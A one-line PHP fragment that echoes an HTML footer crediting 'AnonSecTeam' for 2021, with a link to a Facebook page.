echo'<br><center>&copy; 2021 - <a href="https://www.facebook.com/anonsecteam">AnonSecTeam</a>.</center><br>';?>